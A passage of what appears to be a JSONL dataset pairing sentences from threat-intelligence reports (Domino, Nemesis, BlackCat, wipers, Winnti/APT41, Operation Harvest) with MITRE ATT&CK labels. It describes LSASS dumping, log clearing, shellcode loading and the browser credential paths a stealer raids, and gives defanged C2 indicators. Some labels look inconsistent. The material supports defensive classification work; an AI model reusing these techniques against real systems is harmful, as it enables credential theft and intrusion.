with New Domino Backdoor"} {"sentence": "Interestingly, Lizar used a similar XOR-based algorithm as part of its encryption mechanisms during communication with the C2. Fig 1 — Domino Backdoor system ID generation The malware then proceeds to decrypt its configuration block, which is stored in the data section of the binary.", "labels": ["T1140", "T1573.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "The config is decrypted using XOR and a 16-byte key which is stored immediately before the encrypted config block.", "labels": ["T1027", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Prior to the C2 connection, the malware checks whether the host system is connected to a domain.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "An example of the unencrypted data structure, which the malware sends to the C2, can be seen below. 00000000 39 00 00 00 0b 15 61 36 34 38 36 32 38 63 31 33 |9…..", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "a648628c13| 00000010 64 39 32 38 64 63 2d 34 34 38 30 03 01 0a 00 00 |d928dc-4480…..| 00000020 00", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "This data is then encrypted using AES and returned to the C2.", "labels": ["T1573.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "This method is likely intended to be used following command 0x7.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "In both cases, a configuration block containing a pipe-delimited list of IP addresses is decrypted using XOR and a 16-byte key which is stored immediately before the encrypted config.", "labels": ["T1027", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "When run, this code performs the steps needed to properly load the DLL into memory, and allows for DLL payloads to load themselves directly from memory into a host process.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "The decrypted data consists of 4 bytes containing the payload size, followed by a further 4 bytes containing either the entry point offset for the payload or a value indicating the load method which should be used, followed by the payload itself.", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "If the entry point/load field contains a positive value, then the loader allocates memory within the current process space, copies the payload data to it, and then executes it at the specified offset indicated by the field value.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Scroll to view full table Data collected by Nemesis can be accessed by the operator via a web-based control panel.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Browsers include: “\\\\Chromium\\\\User Data\\\\”, “\\\\Google\\\\Chrome\\\\User Data\\\\”, “\\\\Google(x86)\\\\Chrome\\\\User Data\\\\”, “\\\\Opera Software\\\\”, “\\\\MapleStudio\\\\ChromePlus\\\\User Data\\\\”, “\\\\Iridium\\\\User Data\\\\”, “\\\\7Star\\\\7Star\\\\User Data\\\\”, “\\\\CentBrowser\\\\User Data\\\\”, “\\\\Chedot\\\\User Data\\\\”, “\\\\Vivaldi\\\\User Data\\\\”, “\\\\Kometa\\\\User Data\\\\”, “\\\\Elements Browser\\\\User Data\\\\”, “\\\\Epic Privacy Browser\\\\User Data\\\\”, “\\\\Microsoft\\\\Edge\\\\User Data\\\\”, “\\\\uCozMedia\\\\Uran\\\\User Data\\\\”, “\\\\Fenrir Inc\\\\Sleipnir5\\\\setting\\\\modules\\\\ChromiumViewer\\\\”, “\\\\CatalinaGroup\\\\Citrio\\\\User Data\\\\”, “\\\\Coowon\\\\Coowon\\\\User Data\\\\”, “\\\\liebao\\\\User Data\\\\”, “\\\\QIP Surf\\\\User Data\\\\”, “\\\\Orbitum\\\\User Data\\\\”, “\\\\Comodo\\\\Dragon\\\\User Data\\\\”, “\\\\Amigo\\\\User\\\\User Data\\\\”, “\\\\Torch\\\\User Data\\\\”, “\\\\Yandex\\\\YandexBrowser\\\\User Data\\\\”, “\\\\Comodo\\\\User Data\\\\”, “\\\\360Browser\\\\Browser\\\\User Data\\\\”, “\\\\Maxthon3\\\\User Data\\\\”, “\\\\K-Melon\\\\User Data\\\\”, “\\\\Sputnik\\\\Sputnik\\\\User Data\\\\”, “\\\\Nichrome\\\\User Data\\\\”, “\\\\CocCoc\\\\Browser\\\\User Data\\\\”, “\\\\Uran\\\\User Data\\\\”, “\\\\Chromodo\\\\User Data\\\\”, “\\\\Mail.Ru\\\\Atom\\\\User", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Data\\\\”, “\\\\BraveSoftware\\\\Brave-Browser\\\\User Data\\\\” Gecko-based browsers: Steals stored credentials, cookies, bookmarks, and history.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Fig 7 — Nemesis waits for data collection tasks to complete, then adds the data to a zip archive to be sent to the C2 Fig 8 — Nemesis uploads data to the C2 via a HTTP POST request The C2 address for the analysed sample is https[:]//es-megadom[.]com Fig 9 — Nemesis Configuration A Tangled Web Provides Opportunities This analysis highlights the intricate relationships between cybercriminal groups and their members.", "labels": ["T1005", "T1071.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Instrumentation;The attackers may use wmic to obtain information and run various commands, including to delete Volume Shadow Copies.", "labels": ["T1047"], "doc_title": "Fat Cats"} {"sentence": ";T1070.001 Indicator Removal on Host: Clear Windows Event Logs;By using wevtutil, BlackCat can clear all Windows event logs on a compromised host. ;", "labels": [], "doc_title": "Fat Cats"} {"sentence": "TA0006 Credential Access;T1003.001 OS Credential Dumping: LSASS Memory;To obtain authentication data, the attackers may dump the LSASS process using legitimate tools (procdump, comsvcs.dll).", "labels": ["T1003.001"], "doc_title": "Fat Cats"} {"sentence": "Remote System Discovery;To enumerate domain hosts, the attackers used the ADRecon tool. ;T1069.002 Permission Groups Discovery: Local Groups;To obtain information about local and domain user groups, the attackers used the ADRecon tool. ;T1069.002 Permission Groups Discovery: Local Groups; ;T1069.002 Permission Groups Discovery: Domain Groups; ;T1087.001 Account Discovery: Local Account;To obtain information about local and domain accounts, the attackers used the ADRecon tool.", "labels": [], "doc_title": "Fat Cats"} {"sentence": "Logical file removal is the most common way of erasing a file, performed by users daily when a file is sent to (and emptied from) the Recycle bin, or when it is removed with the command line or terminal with the commands del/rm.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "The most effective way to remove the data/file is by overwriting the specific physical location with other data (usually a repeated byte like 0xFF).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "With both wiper and ransomware attacks, the victim depends on their back up system to recover after an attack.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "Almost all the compromised websites were developed by the same Ukranian IT company, Kitsoft, and all of them were built on OctoberCMS.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "Microsoft named the samples WhisperGate, while other security companies labeled the downloader as WhisperGate and WhisperKill as the actual wiper, which was considered a component of WhisperGate.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "The payload downloaded from the messaging app destroys as much data as possible by overwriting certain file types with 0xCC for the first MB of the file.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "Before attempting to overwrite as much data as the wiper can it will delete key files in the partition, like MFT, $Bitmap, $LogFile, the NTUSER registry hive (T1112) and the event logs (T1070.001).", "labels": ["T1070.004"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "On top of deleting key file system structures, it also performs a drive fragmentation (breaking up files and segregating them in the drive to optimize the system’s performance).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "Overwriting all files with 64 KB chunks of random data with one thread.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "This wiper was particularly aimed at modems, probably to disrupt Internet access from Ukraine.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "This new wiper variant does not have any significant code similarities to previous wipers.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "Named DoubleZero, the wiper was distributed as a ZIP file containing an obfuscated .NET program.", "labels": ["T1027"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "We've looked at 6 different wiper samples observed targeting Ukranian entities.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "These samples approach the attack in very different ways, and most of them occur faster than the time required to respond.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "Service Execution TA0008: Lateral Movement T1021:", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "File Deletion T1070.001: Clear Windows Event Logs T1112: Modify Registry T1484: Domain Policy Modification T1484.001:", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "The name of the URL file and the target address depend on which shortcut is opened: Conversations - iOS - Swipe Icons - Zeplin.url goes to: https://app.zeplin.io/project/5b5741802f3131c3a63057a4/screen/5b589f697e44cee37e0e61df Tokbox icon - Odds and Ends - iOS - Zeplin.url goes to: https://app.zeplin.io/project/5c161c03fde4d550a251e20a/screen/5cef98986801a41be35122bb.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "In this case, the bait consisted of PDF documents with a CV and IELTS certificate.", "labels": ["T1036.005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Page at sixindent.epizy_comThese servers do not play a major role in the functioning of the malware; their precise purpose remains unknown.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "1.1 Attribution These attacks have been studied in detail by Malwarebytes and Zscaler.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Crosswalk appeared no later than 2017 and was mentioned for the first time in a FireEye report on the activities of the APT41 (Winnti) group.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The main component connects to a C2 server, collects and sends system information, and contains functionality for installing and running up to 20 additional modules received from the server as shellcode.", "labels": ["T1005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "It has two-part version numbers; we found ones including 1.0, 1.10, 1.21, 1.22, 1.25, and 2.0.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "proxy type 0x1C proxy host 0x9C proxy username 0x11C proxy password 0x19C number of C2 servers 0x1A0 array of structures of C2 servers A C2 server structure consists of the following fields: 0x0 connection type 0x4 port 0x8 whether DNS name resolution is necessary (yes/no) 0xC length of hostname 0x10 hostname Before attempting to connect, the backdoor checks whether the current day of the week and time match those allowed in the configuration.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The subsequent stream of application-level messages from the server to the client is sent as the body of an HTTP response.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The Crosswalk client uses KCP on top of a TCP connection: KCP protocol data is added to application-level messages that are then sent as TCP segments.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "2. Loaders and injectors Investigation of network infrastructure and monitoring of new Crosswalk samples put us onto the scent of other malicious objects containing Crosswalk shellcode as their payload.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Depending on the sample, explorer.exe and winlogon.exe are the target processes.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The samples we found contain one of three payloads: Crosswalk Metasploit stager FunnySwitch (discussed later in this report) Crosswalk and FunnySwitch shellcode is located in the data sections \"as-is,\" while the samples with Metasploit show additional XOR encryption with the key \"jj1\".", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Most of the loaders start by checking the current year, much like the samples from the LNK file attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "In one older version, to prevent being run twice the loader creates a mutex with the name Global\\5hJ4YfUoyHlwVMnS1qZkd2tEmz7GPbB. But in recent samples, the decrypted string is not used in any way.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "We can also find key information here in the structure of the PL shellcode: at offset 0x28, there are 32 bytes that are hashed with MD5 to obtain a cryptographic key.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The file Электронный читатель резюме.exe (\"Electronic reader resume.exe\") is an executable self-contained loader for PL shellcode.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Configuration of Cobalt Strike BeaconThe archive was distributed on approximately June 1, 2020, from the IP address 66.42.48[.]186 and was available at hxxp://66.42.48[.]186:65500/electronic_resume.pdf.rar.", "labels": ["T1105"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Contents of the archive, the name of which promises a \"chat transcript\"The malicious files are self-contained PL shellcode loaders, but the payload here is Crosswalk version 2.0.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The only obviously fake aspect is the phone number: 123-45-67. Figure 26.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Figure 28.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "If the user opens it directly, a message warns that the document is password-protected.", "labels": ["T1204.002"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "For persistence, resume.exe (under the name winness.exe) is copied to the folder %appdata%\\Microsoft\\AddIns\\ and the main shellcode is re-encrypted and saved in the same location, with the name winness.config.", "labels": ["T1027", "T1036.005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "When winness.exe runs after a restart, the main shellcode is decrypted from winness.config and injected into spoolsv.exe in exactly the same way.", "labels": ["T1055", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Almost two months later, on August 20, 2020, the file CV.pdf____________________________________________________________.exe (e886caba3fea000a7de8948c4de0f9b5857f0baef6cf905a2c53641dbbc0277c) was uploaded to VirusTotal.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Its C2 server is interesting: update.facebookdocs[.]com.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "We discovered that the main domain facebookdocs[.]com hosted a copy of the official site of Battlestate Games: www.battlestategames.com.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Via an associated C2 IP address (108.61.214[.]194), we found an equivalent page on the phishing domain www.battllestategames[.]com (note the double \"l\").", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "4.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "A purloined certificate Another favorite Winnti technique is theft of certificates for code signing.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "GlobalSign CodeSigning CA - SHA256 - G2 Valid From: 07:43 AM 08/20/2015", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The files signed with it were predominantly used in attacks on organizations in Hong Kong.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "We have called it FunnySwitch, based on the name of the library and one of the key classes.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The backdoor is written in .NET and can send system information as well as run arbitrary JScript code, with support for six different connection types, including the ability to accept incoming connections.", "labels": ["T1041"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The contents of the assembly are loaded into the newly created domain.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "assemblyThe assembly is the library Funny.dll with obfuscation by ConfuserEx. 5.2 Funny.dll The backdoor starts by parsing the configuration.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Both HTTP and HTTPS are supported: if no SSL certificate is configured for the port on which the server is running, it will be launched with CN = Environment.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "5.2.1 Transport protocols TCP TCP supports three types of messages: PingMessage (0x1), PongMessage (0x2), and DataMessage (0x3).", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "It is encrypted with AES-256-CBC; the key and IV are taken from the MD5 of the key string.", "labels": ["T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The cookie name is eight random characters.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The value is an encrypted Base64 string containing the session GUID and operation name (\"connect\").", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "FunnySwitch connect and pull requestsThe special class MsgPack class, which implements a custom serialization protocol, unpacks the array and other primitive types.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "These elements, in turn, contain another serialized array, which contains a message string ID (which will be used to send the result of the command) plus the data for the command.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "JScript namespace.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Figure 45.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "remove Removes the specified connector.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "closeStream Deletes the named message queue.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The result of execution of each command is returned to the sender via the invoke-response command.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Error logging in CrosswalkFigure 48.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Figure 49.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Figure 51.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "As a result, in log.exe right after log.dll loads, a call is made to the function sub_100010D0.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Figure 52.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "In our case, the code run afterwards had been obfuscated with a new approach: all functions are split into separate instructions that shuffle between each other.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The offset at which the jump occurs is written immediately after a call instruction (see the following figure).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The values inserted in the formatting strings are generated based on the TimeDateStamp in the PE header of log.dll, and therefore are always identical for any given library copy.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The following strings are contained in its encrypted configuration: 6/30/2020 1:25:52 PM ccc %ProgramData%\\ msdn.exe log.dll log.dll.dat WMNetworkSvc WMNetworkSvc WMNetworkSvc SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Google Docs is used to store the payload: the library sends a request to export a certain document in .txt format, decodes it into shellcode with Base64, and runs it. Figure 56.", "labels": ["T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Its job is to decrypt and run the next stage, which is responsible for reflective loading of the main PlugX component and passing the structure with the configuration to it.", "labels": ["T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Document with encoded", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "7.1 Paranoid PlugX We were able to detect an additional copy of PlugX that contained shellcode fully identical to that downloaded from Google Docs, except for the encrypted configuration.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "It, too, is an SFX archive (94ea23e7f53cb9111dd61fe1a1cbb79b8bbabd2d37ed6bfa67ba2a437cfd5e92) but with different files inside.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Figure 61.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "According to Unit42, the main targets of Paranoid PlugX attacks were gaming companies—which are known to be a typical area of interest for Winnti.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Malicious files of varying resemblance are used to install the payload, from primitive RAR and SFX-RAR files to reuse of malware from other groups and multistage threats with vulnerability exploits and non-trivial shellcode loaders.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "But the payload may be one and the same in all these cases.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "PT products detection names 9.1 PT Sandbox Trojan-Dropper.Win32.Higaisa.a Backdoor.Win32.CobaltStrike.a Trojan-Dropper.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Metasploit 0ad8ee3fe6d45626b28c0051c4c4f83358a03096ad06fc7135621293e95c75ae e8fcd7ca491bffc4838bf9eb6a7aec3f7e4acdc2 a752d48a4433eb2dd56c8946a345ac9e 75d573d1e788590195012a1965cfcaa911c566aee88331b7718ddc638028c175 ca66a779a5b720e5f73e91561bd3434db691e13b 2867ca5c273fbb128504a4e455e862a4 8c962ddbb515e73ecfc5df9db35a54c8c9d15713a04425298f2d89308e2a47bf ce1cb0050662e541e72a24c6a969fa7b51084a60 2555677876b50a03e42420838c1997f1 fb23c7fc2e5e8ae33942734c453961da9ed4659368d19180a8f1ecb3b9b8e853 d03a5b322f3748c9019ca24dd1943507d591165e 9a026082cb80cdba1a68ae1d14f79b9d 012d8d787c6e7a5f3dbe1e9cce7c5da166537a819221e210ef4d108f1a0a24b3 d913285f75a3a1a4f2a6e0f66bfda8efc71fc669 d8ff9eb5582371745ffe1636a89f97ce 420dc77afe28003f14dfe6c09fbf8194ead8a6e8222b6ab126e7ee9bf4b63fd4 ebafff5ff0517ea5c2c783ab7d0cffded468bf4f c024b658471a27ec5201f96f65f0b89a a02258fcb3694893b900f10f0f9bb1d0d522ed098b1cc8eab59f2f70209b3a0b 9bdd1af6fc74a8a3c2ff0e3bf1378ff290cdb35e bb4155a5add9446b6354d46a78edc8d5 f54cf6d9a5d77a89c4a2d47b02736d746764319e02ad224019db8de78842334a 8413380c19f348ef08051b2d6d8b39598bb05f68 cdddd08982ca2dd76a63cbf603956f1a Self-contained PL shellcode loaders Payload: Crosswalk 5841a4302fcbd63f66fc2afd41f8671744454aaa7e1ed834e935bfdb007a9a83 3d0b40b2a6fc691f702237ba5682335e7e74e649 a8bb1d69fb8a9d323bbc5d78f0e62850 e0b675302efc8c94e94b400a67bc627889bfdebb4f4dffdd68fdbc61d4cd03ae 4db6e492a9ef89e116f4da19f97d69cb82e08661 2dc960eb4691a148ece5ee2b24932f03 e398290469966aff01a9e138d45c4655790d7a641950e675785d0a2ab93e7d28 1e494e1cf8df105d95d0e0bb4879223030c48a0c 42a5908ff9b65d3b1a1a9f52ca6f06a5 8add31b6a2828e0d0a5b3ac225f6063f2c67c56036ff3f5099a9ee446459012a 5c11f70345d984391d041b604adfe5bfb5134755 5e3ef894b490d1c931a5f70d44789316 a4b2a737badef32831cbf05bfaa65b5121ddb41463177f4ac0dbc354b3b451d4 8c549d16dc97072f16e4a3114fbd7d47f8bc9726 1bc1df4b946e83f26c878f01145545a4 2fdef9d8896705f468f66eb8c20e5892d161c1d98ab5962aa231326546e25056 7b465b1e0d7be4d84e06a115fd55b97207de768c 221db0f664ea781b4dff81e0a354c63d Payload:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Metasploit a7df8143a36638de40233b141919d767678b45bf5467e948a637eaafb2820550 be39c3022218ccb3abcfc6c906359b76571f4241 dc758b9ecca41f7f66808258efbfc6cf 283302c43466bdc6524a1e58a0ff9cc223ab8f540a1b0248d1fcffe81b87d5d6 b2bb31ea3b4abaf3f3edbff405e23f2ce442dfe0 3839d37a6a7a29a7af79f102e28b8bc2 b447a7bb633f682058d4b9df5caabbe8c794f087b80bf598d6741a255e925078 3c523a969cc4c273ae27fef32630701516b08873 63584677683b5fbf4f69053a8de9ecbe 01c8cc07a83ffd7ac9ee008685eb360c9934919e86847c50c8843807b9d9c196 37ec3d5be7b535a8a31001815ab275a489e302f5 d92db6b734b1db3874396506613a4962 21dd261e5fe46b86833cd69b299ae5ee5f24da3d4e87de509eddda4d2f63d591 11e86ee44e7c3592c97f7191746e170b62f724bb c8f1aff87d12e0e5c7082b8a565c4abb Payload:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Winnti finds the site of a gaming company and uses information from it to create bait Resource Development T1583.001 Acquire Infrastructure: Domains Winnti purchases domain names that resemble those of legitimate services, including the victim's site T1583.006 Acquire Infrastructure: Web Services Winnti can use GitHub and Google Docs for C2 updates T1587.001 Develop Capabilities: Malware Winnti uses self-developed malware in its attacks T1587.003 Develop Capabilities: Digital Certificates Winnti creates self-signed certificates for use in HTTPS C2 traffic T1588.001 Obtain Capabilities: Malware Winnti uses PlugX in its attacks T1588.002 Obtain Capabilities: Tool Winnti uses Metasploit and Cobalt Strike in its attacks T1588.003 Obtain Capabilities: Code Signing Certificates Winnti steals code signing certificates from compromised organizations T1588.005 Obtain Capabilities: Exploits Winnti uses a public exploit for remote code execution (RCE) by means of a CHM file Initial Access T1566.001 Phishing:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "From a cyber-intelligence perspective, one of the biggest challenges is having information on the tactics, techniques, and procedures (TTPs) an adversary is using and then keeping them up to date.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Within ATR we typically monitor many adversaries for years and collect and store data, ranging from indicators of compromise (IOCs) to the TTPs.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "In this report, ATR provides a deep insight into this long-term campaign where we will map out our findings against the Enterprise MITRE ATT&CK model.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "On the webserver, software was installed to maintain the presence and storage of tools [T1105] that would be used to gather information about the victim’s network [T1083] and lateral movement/execution of files [T1570] [T1569.002].", "labels": ["T1570"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Example of RottenPotato on elevating these rights: Figure 1 RottenPotato The second tool discovered, “BadPotato”, is another open-source tool that can be used to elevate user rights towards System rights.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Inspecting the File (COFF) header, we observed the file’s compilation timestamp:", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Payload file with the config to communicate with Command & Control Server (C2).", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "One way to identify what malware may have been used is to dump these processes with the relevant PID using the procdump module, upload them to an online analysis service and wait for the results.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Since this is a very sensitive case, we took a different approach.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Using the best of both worlds (volatility and Yara) we used a ruleset that consists of malware patterns observed in memory over time.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Running this ruleset over the data in the memory dump revealed the following (redacted for the sake of readability) output: Figure 3 Output Yarascan memory dump", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Firstly, it revealed artifacts related to the DLL analyzed, “C:\\ProgramData\\Microsoft\\Windows\\SuperfRtch\\SuperfRtch.dat”.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Secondly, while investigating the process dump, we observed activities from the backdoor that are part of the data exfiltration attempts which we will describe in more detail in this analysis report.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "A redacted snippet of the code would look like this: Creating archive ***.rar Adding", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The malware was injected into a SVCHOST process where a driver location pointed to the config file.", "labels": ["T1055"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Another clue that helped us was the use of DNS tunneling by Winnti which we discovered traces of in memory.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "The hardcoded 208.67.222.222 resolves to a legitimate OpenDNS DNS server.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Another indicator in the process dump was the setup of the C2 connection including the User-Agent that has been observed being used by Winnti 4.0 malware:", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "It uses a script from this location: hxxps://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.pyi.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Data Exfiltration From what we observed", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": ", the adversary had a long-term intention to stay present in the victim’s network.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "Example of content in a batch script: C:\\Windows\\web\\rar.exe a -[redacted] -r -v50000", "labels": ["T1059.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"} {"sentence": "When the data was gathered on a local system using the backdoor, the files were exfiltrated over the backdoor and the rar files 